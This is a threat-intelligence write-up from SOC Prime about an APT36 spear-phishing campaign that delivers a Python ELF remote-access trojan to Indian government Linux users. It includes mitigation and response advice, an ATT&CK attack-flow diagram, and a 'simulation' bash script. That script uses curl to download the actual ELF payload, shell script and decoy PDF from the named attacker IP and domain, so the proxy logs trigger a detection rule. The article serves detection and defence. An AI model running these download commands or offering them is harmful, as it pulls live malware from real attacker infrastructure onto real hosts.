SOC Prime Bias: Critical

04 Dec 2025 18:28
newspaper icon CYFIRMA

APT36 Deploys Python ELF Malware Against Indian Government Entities

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
APT36 Deploys Python ELF Malware Against Indian Government Entities
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

APT36 (Transparent Tribe) ran a spear-phishing campaign that dropped malicious Linux .desktop shortcut files on Indian government users. These launchers retrieve and run a Python-based ELF RAT named swcbc from an attacker-controlled server. The malware maintains persistence through a user-level systemd service and communicates with its C2 over HTTP to exfiltrate data and execute commands. The campaign underscores the group’s growing ability to operate effectively in Linux environments.

Investigation

The investigation followed the chain from the initial .zip attachment to the .desktop launcher, the decoy PDF, and the two payloads (swcbc ELF binary and swcbc.sh script) downloaded from an actor-controlled IP address. Analysis showed the ELF binary is a PyInstaller-packed Python RAT with capabilities for system profiling, file upload/download, screen capture, and self-removal. Persistence is implemented by registering a systemd service inside the user’s configuration directory.

Mitigation

Recommended defenses include blocking execution of .desktop, .sh, and ELF binaries received via email and enforcing sandbox execution for suspicious attachments. Disable automatic execution from world-writable paths like /tmp and apply noexec mount options where possible. Monitor DNS and HTTP traffic for connections to the identified malicious domain and IP. Enforce strict application control on tools such as curl and LibreOffice.

Response

When activity is detected, isolate the impacted Linux host, collect the malicious artifacts and the systemd service unit, and remove the hidden ~/.swcbc directory. Use forensic tooling to extract the host’s unique identifier and terminate any ongoing C2 sessions. Update detection content with the observed IOCs and proactively hunt for similar patterns across the broader environment.

“`mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% Nodes – Actions (MITRE Techniques) initial_access_phishing[“<b>Action</b> – <b>T1566 Phishing</b>: Spearphishing Attachment<br/><b>Description</b>: Adversary emails a malicious .desktop shortcut to the target.”] class initial_access_phishing action user_execution_file[“<b>Action</b> – <b>T1204.002 User Execution</b>: Malicious File<br/><b>Description</b>: Victim opens the .desktop file, causing the embedded script to run.”] class user_execution_file action obfuscation[“<b>Action</b> – <b>T1027 Obfuscated Files</b>: Data Encoding<br/><b>Description</b>: Script is stored as a Base64‑encoded string and the ELF payload is packed with PyInstaller.”] class obfuscation action masquerading[“<b>Action</b> – <b>T1036 Masquerading</b><br/><b>Description</b>: .desktop shortcut mimics a legitimate office document and opens a decoy PDF.”] class masquerading action ingress_tool_transfer[“<b>Action</b> – <b>T1105 Ingress Tool Transfer</b><br/><b>Description</b>: Script downloads an ELF binary and a shell script from a remote HTTP server.”] class ingress_tool_transfer action execution_unix_shell[“<b>Action</b> – <b>T1059 Command and Scripting Interpreter</b>: Unix Shell<br/><b>Description</b>: Downloader grants execution permission and runs the payloads in background.”] class execution_unix_shell action persistence_systemd[“<b>Action</b> – <b>T1543 Create or Modify System Process</b><br/><b>Description</b>: Malicious systemd user‑service is created and enabled to start at login.”] class persistence_systemd action persistence_boot_script[“<b>Action</b> – <b>T1037.004 Boot or Logon Initialization Scripts</b><br/><b>Description</b>: User‑level systemd service acts as a boot‑or‑logon script for persistence.”] class persistence_boot_script action discovery_system_info[“<b>Action</b> – <b>T1082 System Information Discovery</b><br/><b>Description</b>: ELF RAT gathers OS version, hostname, username and MAC address.”] class discovery_system_info action discovery_file_dir[“<b>Action</b> – <b>T1083 File and Directory Discovery</b><br/><b>Description</b>: Malware enumerates the filesystem to locate files for exfiltration.”] class discovery_file_dir action command_control_app_layer[“<b>Action</b> – <b>T1071 Application Layer Protocol</b><br/><b>Description</b>: Implant communicates with C2 server using HTTP GET/POST.”] class command_control_app_layer action data_encoding[“<b>Action</b> – <b>T1132 Data Encoding</b><br/><b>Description</b>: C2 payloads are Base64‑encoded to obscure content.”] class data_encoding action collection_local_data[“<b>Action</b> – <b>T1005 Data from Local System</b><br/><b>Description</b>: RAT archives selected files into ZIP archives for upload.”] class collection_local_data action exfiltration_http[“<b>Action</b> – <b>T1005 Data from Local System (Exfiltration)</b><br/><b>Description</b>: Archives are sent to attacker via HTTP POST requests.”] class exfiltration_http action %% Nodes – Artifacts / Malware file_desktop[“<b>Artifact</b> – <b>.desktop Shortcut</b><br/><b>File</b>: Analysis_Proc_Report_Gem.desktop<br/><b>Purpose</b>: Triggers Base64 script execution.”] class file_desktop artifact script_base64[“<b>Malware</b> – <b>Base64 Script</b><br/><b>Content</b>: Decodes and runs the downloader logic.”] class script_base64 malware elf_payload[“<b>Malware</b> – <b>ELF Binary (swcbc)</b><br/><b>Type</b>: Packed RAT delivered via PyInstaller.”] class elf_payload malware shell_script_payload[“<b>Malware</b> – <b>Shell Script (swcbc.sh)</b><br/><b>Purpose</b>: Helper script to set up persistence.”] class shell_script_payload malware systemd_service[“<b>Artifact</b> – <b>Systemd Service File</b><br/><b>Location</b>: ~/.config/systemd/user/swcbc.service<br/><b>Effect</b>: Runs ELF payload at user login.”] class systemd_service artifact %% Edges – Attack Flow initial_access_phishing –>|delivers| file_desktop file_desktop –>|invokes| script_base64 script_base64 –>|obfuscates| obfuscation script_base64 –>|masquerades as| masquerading script_base64 –>|downloads| elf_payload script_base64 –>|downloads| shell_script_payload ingress_tool_transfer –>|facilitates download of| elf_payload ingress_tool_transfer –>|facilitates download of| shell_script_payload script_base64 –>|executes via| execution_unix_shell elf_payload –>|runs as| process_elf[(“ELF Process”)] class process_elf process process_elf –>|establishes| command_control_app_layer process_elf –>|collects system info via| discovery_system_info process_elf –>|enumerates files via| discovery_file_dir process_elf –>|archives files via| collection_local_data collection_local_data –>|encodes data via| data_encoding collection_local_data –>|exfiltrates via| exfiltration_http exfiltration_http –>|uses| command_control_app_layer shell_script_payload –>|creates| systemd_service systemd_service –>|enables| persistence_systemd persistence_systemd –>|provides| persistence_boot_script persistence_boot_script –>|ensures execution at login| execution_unix_shell “`

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:
    An APT‑36 operator hosts three payloads on compromised infrastructure and distributes their URLs via a phishing email. The victim, using a web browser configured to route traffic through the corporate proxy, clicks each link. The proxy logs each GET request, producing entries that match the rule’s url|all list. The payloads are:

    1. A raw ELF binary (swcbc) delivered over HTTP.
    2. A shell script (swcbc.sh) that, when executed, installs the ELF.
    3. A decoy PDF (Analysis_Proc_Report_Gem.pdf) intended to encourage the user to open the file while the malicious ELF runs in the background.

  • Regression Test Script:

    #!/usr/bin/env bash
# APT‑36 malicious URL download simulation – triggers the Sigma rule.
set -euo pipefail

# Define the malicious URLs (exact strings from the Sigma rule)
urls=(
    "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc"
    "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh"
    "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf"
)

# Download each payload through the corporate proxy.
# Assume the environment variable http_proxy/https_proxy points to the proxy.
for u in "${urls[@]}"; do
    echo "[*] Downloading $u via proxy..."
    curl -s -O "$u"
done

echo "[+] All malicious files downloaded. Check proxy logs for matching URLs."

    Save the script as apt36_simulation.sh, make it executable (chmod +x apt36_simulation.sh), and run it on the protected workstation.

  • Cleanup Commands:

    #!/usr/bin/env bash
# Remove all files created by the simulation
rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf
echo "[+] Cleanup complete."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free